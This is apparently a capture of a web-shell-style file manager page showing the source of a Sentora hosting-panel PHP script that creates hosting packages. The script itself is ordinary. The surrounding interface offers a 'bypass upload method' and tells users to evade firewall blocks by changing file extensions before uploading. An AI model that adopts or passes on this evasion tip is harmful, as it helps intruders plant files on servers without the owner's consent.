Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
scripts
File Content:
CreatePackageApi.php
<?php require('/etc/sentora/panel/cnf/db.php'); require_once('/etc/sentora/panel/dryden/db/driver.class.php'); include_once('/etc/sentora/panel/dryden/debug/logger.class.php'); include_once('/etc/sentora/panel/dryden/runtime/dataobject.class.php'); include_once('/etc/sentora/panel/dryden/runtime/controller.class.php'); include_once('/etc/sentora/panel/dryden/runtime/hook.class.php'); include_once('/etc/sentora/panel/dryden/runtime/xss.class.php'); include_once('/etc/sentora/panel/dryden/runtime/sanatizeItem.class.php'); include_once('/etc/sentora/panel/dryden/runtime/hash.class.php'); include_once('/etc/sentora/panel/dryden/sys/versions.class.php'); include_once('/etc/sentora/panel/dryden/ctrl/options.class.php'); include_once('/etc/sentora/panel/dryden/ctrl/users.class.php'); include_once('/etc/sentora/panel/dryden/ctrl/auth.class.php'); include_once('/etc/sentora/panel/dryden/fs/director.class.php'); include_once('/etc/sentora/panel/dryden/fs/filehandler.class.php'); include_once('/etc/sentora/panel/inc/dbc.inc.php'); include_once('/etc/sentora/panel/dryden/sys/email.class.php'); if($argc==11) { $package_name = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[1],'string')); $max_no_domains = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[2],'int')); $max_no_sub_domains = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[3], 'int')); $max_no_parked_domains = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[4], 'int')); $max_no_mailboxes = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[5], 'int')); //$max_no_forwarders = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[6], 'int')); $max_no_distlists = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[6], 'int')); $max_no_ftp_accounts = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[7], 'int')); $max_no_mysql = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[8], 'int')); $max_disk_quota = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[9], 'int')); $max_bandwidth = runtime_xss::xssClean(runtime_sanatizeItem::sanatizeItem($argv[10], 'int')); //echo "\ninNewUserName: $inNewUserName\ninNewPackage: $inNewPackage\ninNewEmailAddress: $inNewEmailAddress\ninNewDomainName: $inNewDomainName\ninNewPassword: $inNewPassword";exit; //$create_account = new CreateAccountApi; $sss = doCreatePackage($package_name, $max_no_domains, $max_no_sub_domains, $max_no_parked_domains, $max_no_mailboxes, $max_no_distlists, $max_no_ftp_accounts, $max_no_mysql, $max_disk_quota, $max_bandwidth ); print_r($sss);exit; } else { echo "Not updated";exit; } function doCreatePackage($package_name, $max_no_domains, $max_no_sub_domains, $max_no_parked_domains, $max_no_mailboxes, $max_no_distlists, $max_no_ftp_accounts, $max_no_mysql, $max_disk_quota, $max_bandwidth ) { global $controller; //runtime_csfr::Protect(); //$currentuser = ctrl_users::GetUserDetail(); //$formvars = $controller->GetAllControllerRequests('FORM'); $enable_php = 1; $user_id = 1; $max_no_forwarders = -1; if (ExecuteCreatePackage($user_id, $package_name, $enable_php, $max_no_domains, $max_no_sub_domains, $max_no_parked_domains, $max_no_mailboxes, $max_no_forwarders, $max_no_distlists, $max_no_ftp_accounts, $max_no_mysql, $max_disk_quota, $max_bandwidth)) return true; return false; } function ExecuteCreatePackage($uid, $package_name, $enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota) { global $zdbh; if (fs_director::CheckForEmptyValue(CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota))) { return false; } $package_name = str_replace(' ', '', $package_name); // Check for errors before we continue... if (fs_director::CheckForEmptyValue(CheckCreateForErrors($package_name, $uid))) { return false; } runtime_hook::Execute('OnBeforeCreatePackage'); # If the user submitted a 'new' request then we will simply add the package to the database... $sql = $zdbh->prepare("INSERT INTO x_packages (pk_reseller_fk, pk_name_vc, pk_enablephp_in, pk_created_ts) VALUES ( :uid, :package_name, :php, :time);"); $php = fs_director::GetCheckboxValue($enable_php); $sql->bindParam(':php', $php); $sql->bindParam(':uid', $uid); $time = time(); $sql->bindParam(':time', $time); $pack = addslashes($package_name); $sql->bindParam(':package_name', $pack); $sql->execute(); $package_id = $zdbh->lastInsertId(); # Now lets pull back the package ID so we can use it in the other tables we are about to manipulate. /*$numrows = $zdbh->prepare("SELECT * FROM x_packages WHERE pk_reseller_fk=:uid AND pk_name_vc=:package_name AND pk_deleted_ts IS NULL"); $numrows->bindParam(':uid', $uid); $numrows->bindParam(':package_name', $package_name); $numrows->execute(); $package = $numrows->fetch(); */ $sql = $zdbh->prepare("INSERT INTO x_quotas (qt_package_fk, qt_domains_in, qt_subdomains_in, qt_parkeddomains_in, qt_mailboxes_in, qt_fowarders_in, qt_distlists_in, qt_ftpaccounts_in, qt_mysql_in, qt_diskspace_bi, qt_bandwidth_bi) VALUES ( :pk_id_pk, :Domains, :SubDomains, :ParkedDomains, :Mailboxes, :Fowarders, :DistLists, :FTPAccounts, :MySQL, :DiskQuotaFinal, :BandQuotaFinal)"); $DiskQuotaFinal = $DiskQuota * 1024000; $BandQuotaFinal = $BandQuota * 1024000; $sql->bindParam(':DiskQuotaFinal', $DiskQuotaFinal); $sql->bindParam(':BandQuotaFinal', $BandQuotaFinal); $sql->bindParam(':MySQL', $MySQL); $sql->bindParam(':DistLists', $DistLists); $sql->bindParam(':Fowarders', $Fowarders); $sql->bindParam(':Mailboxes', $Mailboxes); $sql->bindParam(':SubDomains', $SubDomains); $sql->bindParam(':FTPAccounts', $FTPAccounts); $sql->bindParam(':ParkedDomains', $ParkedDomains); $sql->bindParam(':Domains', $Domains); $sql->bindParam(':pk_id_pk', $package_id); //$sql->bindParam(':pk_id_pk', $package['pk_id_pk']); $sql->execute(); runtime_hook::Execute('OnAfterCreatePackage'); //self::$ok = true; echo "NEWPACKAGE_SUCCESSFULLY_ADDED"; //return "NEWPACKAGE_SUCCESSFULLY_ADDED"; return false; } function CheckCreateForErrors($package_name, $uid, $pid = 0) { global $zdbh; $package_name = str_replace(' ', '', $package_name); # Check to make sure the packagename is not blank or exists for reseller before we go any further... if (!fs_director::CheckForEmptyValue($package_name)) { $sql = "SELECT COUNT(*) FROM x_packages WHERE UPPER(pk_name_vc)=:packageNameSlashes AND pk_reseller_fk=:uid AND pk_id_pk !=:pid AND pk_deleted_ts IS NULL"; $packageNameSlashes = addslashes(strtoupper($package_name)); $numrows = $zdbh->prepare($sql); $numrows->bindParam(':packageNameSlashes', $packageNameSlashes); $numrows->bindParam(':uid', $uid); $numrows->bindParam(':pid', $pid); if ($numrows->execute()) { if ($numrows->fetchColumn() <> 0) { //self::$alreadyexists = true; echo "PACKAGE_ALREADY_EXISTS"; //return "PACKAGE_ALREADY_EXISTS"; return false; } } } else { //self::$blank = true; echo "BLANK_PACKAGE_NAME"; //return "BLANK_PACKAGE_NAME"; return false; } // Check packagename format. if (!IsValidPackageName($package_name)) { //self::$badname = true; echo "BAD_PACKAGE_NAME"; //return "BAD_PACKAGE_NAME"; return false; } return true; } function IsValidPackageName($package_name) { //if (!preg_match('/^[a-z\d][a-z\d-]{0,62}$/i', $package_name) || preg_match('/-$/', $package_name)) { if (!preg_match('#^[A-Za-z0-9_-]{3,20}$#s', $package_name)) { return false; } return true; } function CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota) { if (!is_numeric($enable_php) || !is_numeric($Domains) || !is_numeric($SubDomains) || !is_numeric($ParkedDomains) || !is_numeric($Mailboxes) || !is_numeric($Fowarders) || !is_numeric($DistLists) || !is_numeric($FTPAccounts) || !is_numeric($MySQL) || !is_numeric($DiskQuota) || !is_numeric($BandQuota)) { //self::$error = true; echo "NOT_A_NUMERIC_VALUE"; //return "NOT_A_NUMERIC_VALUE"; return false; } else { return true; } } function getResult() { if (!fs_director::CheckForEmptyValue($blank)) { return ui_sysmessage::shout(ui_language::translate("You need to specify a package name to create your package."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($badname)) { return ui_sysmessage::shout(ui_language::translate("Your package name is not valid. Please enter a valid package name."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($alreadyexists)) { return ui_sysmessage::shout(ui_language::translate("A package with that name already appears to exsist."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($error)) { return ui_sysmessage::shout(ui_language::translate("There was an error updating your packages"), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($samepackage)) { return ui_sysmessage::shout(ui_language::translate("You cant move clients to the same package you are deleting!"), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($ok)) { return ui_sysmessage::shout(ui_language::translate("Changes to your packages have been saved successfully!"), "zannounceok"); } return; }
Edit
Download
Unzip
Chmod
Delete